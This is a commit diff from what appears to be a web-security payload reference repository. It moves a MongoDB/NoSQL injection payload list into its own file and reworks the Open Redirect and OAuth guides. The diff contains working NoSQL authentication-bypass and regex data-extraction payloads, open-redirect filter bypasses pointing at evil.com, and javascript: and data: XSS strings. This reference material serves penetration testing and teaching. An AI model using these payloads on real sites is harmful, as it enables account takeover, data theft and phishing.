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NoSQL + Open Redirect

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1
Mass Assignment/README.md
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@ -33,6 +33,7 @@ If the web application is not checking which parameters are allowed to be update
* [PentesterAcademy - Mass Assignment I](https://attackdefense.pentesteracademy.com/challengedetailsnoauth?cid=1964)
* [PentesterAcademy - Mass Assignment II](https://attackdefense.pentesteracademy.com/challengedetailsnoauth?cid=1922)
* [Root Me - API - Mass Assignment](https://www.root-me.org/en/Challenges/Web-Server/API-Mass-Assignment)
## References

20
NoSQL Injection/Intruder/MongoDB.txt Normal file
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@ -0,0 +1,20 @@
true, $where: '1 == 1'
, $where: '1 == 1'
$where: '1 == 1'
', $where: '1 == 1'
1, $where: '1 == 1'
{ $ne: 1 }
', $or: [ {}, { 'a':'a
' } ], $comment:'successful MongoDB injection'
db.injection.insert({success:1});
db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1
|| 1==1
' && this.password.match(/.*/)//+%00
' && this.passwordzz.match(/.*/)//+%00
'%20%26%26%20this.password.match(/.*/)//+%00
'%20%26%26%20this.passwordzz.match(/.*/)//+%00
{$gt: ''}
[$ne]=1
';return 'a'=='a' && ''=='
";return(true);var xyz='a
0;return true

49
NoSQL Injection/README.md
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@ -8,13 +8,12 @@
* [Tools](#tools)
* [Methodology](#methodology)
* [Authentication Bypass](#authentication-bypass)
* [Extract length information](#extract-length-information)
* [Extract data information](#extract-data-information)
* [Extract Length Information](#extract-length-information)
* [Extract Data Information](#extract-data-information)
* [Blind NoSQL](#blind-nosql)
* [POST with JSON body](#post-with-json-body)
* [POST with urlencoded body](#post-with-urlencoded-body)
* [POST with JSON Body](#post-with-json-body)
* [POST with urlencoded Body](#post-with-urlencoded-body)
* [GET](#get)
* [MongoDB Payloads](#mongodb-payloads)
* [Labs](#references)
* [References](#references)
@ -30,7 +29,7 @@
### Authentication Bypass
Basic authentication bypass using not equal ($ne) or greater ($gt)
Basic authentication bypass using not equal (`$ne`) or greater (`$gt`)
* in HTTP data
```ps1
@ -49,14 +48,16 @@ Basic authentication bypass using not equal ($ne) or greater ($gt)
```
### Extract length information
### Extract Length Information
Inject a payload using the $regex operator. The injection will work when the length is correct.
```ps1
username[$ne]=toto&password[$regex]=.{1}
username[$ne]=toto&password[$regex]=.{3}
```
### Extract data information
### Extract Data Information
Extract data with "`$regex`" query operator.
@ -86,7 +87,7 @@ Extract data with "`$in`" query operator.
## Blind NoSQL
### POST with JSON body
### POST with JSON Body
Python script:
@ -112,7 +113,7 @@ while True:
password += c
```
### POST with urlencoded body
### POST with urlencoded Body
Python script:
@ -140,7 +141,7 @@ while True:
### GET
python script:
Python script:
```python
import requests
@ -191,32 +192,6 @@ end
```
## MongoDB Payloads
```bash
true, $where: '1 == 1'
, $where: '1 == 1'
$where: '1 == 1'
', $where: '1 == 1'
1, $where: '1 == 1'
{ $ne: 1 }
', $or: [ {}, { 'a':'a
' } ], $comment:'successful MongoDB injection'
db.injection.insert({success:1});
db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1
|| 1==1
' && this.password.match(/.*/)//+%00
' && this.passwordzz.match(/.*/)//+%00
'%20%26%26%20this.password.match(/.*/)//+%00
'%20%26%26%20this.passwordzz.match(/.*/)//+%00
{$gt: ''}
[$ne]=1
';return 'a'=='a' && ''=='
";return(true);var xyz='a
0;return true
```
## Labs
* [Root Me - NoSQL injection - Authentication](https://www.root-me.org/en/Challenges/Web-Server/NoSQL-injection-Authentication)

4
OAuth Misconfiguration/README.md
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@ -8,7 +8,7 @@
- [Stealing OAuth Token via referer](#stealing-oauth-token-via-referer)
- [Grabbing OAuth Token via redirect_uri](#grabbing-oauth-token-via-redirect---uri)
- [Executing XSS via redirect_uri](#executing-xss-via-redirect---uri)
- [OAuth private key disclosure](#oauth-private-key-disclosure)
- [OAuth Private Key Disclosure](#oauth-private-key-disclosure)
- [Authorization Code Rule Violation](#authorization-code-rule-violation)
- [Cross-Site Request Forgery](#cross-site-request-forgery)
- [Labs](#labs)
@ -52,7 +52,7 @@ https://example.com/oauth/v1/authorize?[...]&redirect_uri=data%3Atext%2Fhtml%2Ca
```
## OAuth private key disclosure
## OAuth Private Key Disclosure
Some Android/iOS app can be decompiled and the OAuth Private key can be accessed.

230
Open Redirect/README.md
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@ -1,4 +1,4 @@
# Open URL Redirection
# Open URL Redirect
> Un-validated redirects and forwards are possible when a web application accepts untrusted input that could cause the web application to redirect the request to a URL contained within untrusted input. By modifying untrusted URL input to a malicious site, an attacker may successfully launch a phishing scam and steal user credentials. Because the server name in the modified link is identical to the original site, phishing attempts may have a more trustworthy appearance. Un-validated redirect and forward attacks can also be used to maliciously craft a URL that would pass the application’s access control check and then forward the attacker to privileged functions that they would normally not be able to access.
@ -7,9 +7,11 @@
* [Methodology](#methodology)
* [HTTP Redirection Status Code](#http-redirection-status-code)
* [Fuzzing](#fuzzing)
* [Redirect Methods](#redirect-methods)
* [Path-based Redirects](#path-based-redirects)
* [JavaScript-based Redirects](#javascript-based-redirects)
* [Common Query Parameters](#common-query-parameters)
* [Filter Bypass](#filter-bypass)
* [Common injection parameters](#common-injection-parameters)
* [Labs](#labs)
* [References](#references)
@ -20,8 +22,7 @@ An open redirect vulnerability occurs when a web application or server uses unva
Attackers can leverage this vulnerability in phishing campaigns, session theft, or forcing a user to perform an action without their consent.
Consider this example:
Your web application has a feature that allows users to click on a link and be automatically redirected to a saved preferred homepage. This might be implemented like so:
**Example**: A web application has a feature that allows users to click on a link and be automatically redirected to a saved preferred homepage. This might be implemented like so:
```ps1
https://example.com/redirect?url=https://userpreferredsite.com
@ -44,146 +45,125 @@ HTTP Redirection status codes, those starting with 3, indicate that the client m
- [308 Permanent Redirect](https://httpstatuses.com/308) - This means the resource has been permanently moved to the URL given by the Location headers, and future requests should use the new URI. It is similar to 301 but does not allow the HTTP method to change.
## Fuzzing
## Redirect Methods
Replace `www.whitelisteddomain.tld` from *Open-Redirect-payloads.txt* with a specific white listed domain in your test case
### Path-based Redirects
To do this simply modify the `WHITELISTEDDOMAIN` with value `www.test.com `to your test case URL.
Instead of query parameters, redirection logic may rely on the path:
* Using slashes in URLs: `https://example.com/redirect/http://malicious.com`
* Injecting relative paths: `https://example.com/redirect/../http://malicious.com`
### JavaScript-based Redirects
If the application uses JavaScript for redirects, attackers may manipulate script variables:
**Example**:
```js
var redirectTo = "http://trusted.com";
window.location = redirectTo;
```
**Payload**: `?redirectTo=http://malicious.com`
### Common Parameters
```powershell
WHITELISTEDDOMAIN="www.test.com" && sed 's/www.whitelisteddomain.tld/'"$WHITELISTEDDOMAIN"'/' Open-Redirect-payloads.txt > Open-Redirect-payloads-burp-"$WHITELISTEDDOMAIN".txt && echo "$WHITELISTEDDOMAIN" | awk -F. '{print "https://"$0"."$NF}' >> Open-Redirect-payloads-burp-"$WHITELISTEDDOMAIN".txt
?checkout_url={payload}
?continue={payload}
?dest={payload}
?destination={payload}
?go={payload}
?image_url={payload}
?next={payload}
?redir={payload}
?redirect_uri={payload}
?redirect_url={payload}
?redirect={payload}
?return_path={payload}
?return_to={payload}
?return={payload}
?returnTo={payload}
?rurl={payload}
?target={payload}
?url={payload}
?view={payload}
/{payload}
/redirect/{payload}
```
## Filter Bypass
Using a whitelisted domain or keyword
* Using a whitelisted domain or keyword
```powershell
www.whitelisted.com.evil.com redirect to evil.com
```
```powershell
www.whitelisted.com.evil.com redirect to evil.com
```
* Using **CRLF** to bypass "javascript" blacklisted keyword
```powershell
java%0d%0ascript%0d%0a:alert(0)
```
Using CRLF to bypass "javascript" blacklisted keyword
* Using "`//`" and "`////`" to bypass "http" blacklisted keyword
```powershell
//google.com
////google.com
```
```powershell
java%0d%0ascript%0d%0a:alert(0)
```
* Using "https:" to bypass "`//`" blacklisted keyword
```powershell
https:google.com
```
Using "//" & "////" to bypass "http" blacklisted keyword
* Using "`\/\/`" to bypass "`//`" blacklisted keyword
```powershell
\/\/google.com/
/\/google.com/
```
```powershell
//google.com
////google.com
```
* Using "`%E3%80%82`" to bypass "." blacklisted character
```powershell
/?redir=google。com
//google%E3%80%82com
```
Using "https:" to bypass "//" blacklisted keyword
* Using null byte "`%00`" to bypass blacklist filter
```powershell
//google%00.com
```
```powershell
https:google.com
```
* Using HTTP Parameter Pollution
```powershell
?next=whitelisted.com&next=google.com
```
Using "\/\/" to bypass "//" blacklisted keyword (Browsers see \/\/ as //)
* Using "@" character. [Common Internet Scheme Syntax](https://datatracker.ietf.org/doc/html/rfc1738)
```powershell
//<user>:<password>@<host>:<port>/<url-path>
http://www.theirsite.com@yoursite.com/
```
```powershell
\/\/google.com/
/\/google.com/
```
* Creating folder as their domain
```powershell
http://www.yoursite.com/http://www.theirsite.com/
http://www.yoursite.com/folder/www.folder.com
```
Using "%E3%80%82" to bypass "." blacklisted character
* Using "`?`" character, browser will translate it to "`/?`"
```powershell
http://www.yoursite.com?http://www.theirsite.com/
http://www.yoursite.com?folder/www.folder.com
```
```powershell
/?redir=google。com
//google%E3%80%82com
```
Using null byte "%00" to bypass blacklist filter
```powershell
//google%00.com
```
Using parameter pollution
```powershell
?next=whitelisted.com&next=google.com
```
Using "@" character, browser will redirect to anything after the "@"
```powershell
http://www.theirsite.com@yoursite.com/
```
Creating folder as their domain
```powershell
http://www.yoursite.com/http://www.theirsite.com/
http://www.yoursite.com/folder/www.folder.com
```
Using "`?`" character, browser will translate it to "`/?`"
```powershell
http://www.yoursite.com?http://www.theirsite.com/
http://www.yoursite.com?folder/www.folder.com
```
Host/Split Unicode Normalization
```powershell
https://evil.c℀.example.com . ---> https://evil.ca/c.example.com
http://a.com／X.b.com
```
XSS from Open URL - If it's in a JS variable
```powershell
";alert(0);//
```
XSS from data:// wrapper
```powershell
http://www.example.com/redirect.php?url=data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+Cg==
```
XSS from javascript:// wrapper
```powershell
http://www.example.com/redirect.php?url=javascript:prompt(1)
```
## Common injection parameters
```powershell
/{payload}
?next={payload}
?url={payload}
?target={payload}
?rurl={payload}
?dest={payload}
?destination={payload}
?redir={payload}
?redirect_uri={payload}
?redirect_url={payload}
?redirect={payload}
/redirect/{payload}
/cgi-bin/redirect.cgi?{payload}
/out/{payload}
/out?{payload}
?view={payload}
/login?to={payload}
?image_url={payload}
?go={payload}
?return={payload}
?returnTo={payload}
?return_to={payload}
?checkout_url={payload}
?continue={payload}
?return_path={payload}
```
* Host/Split Unicode Normalization
```powershell
https://evil.c℀.example.com . ---> https://evil.ca/c.example.com
http://a.com／X.b.com
```
## Labs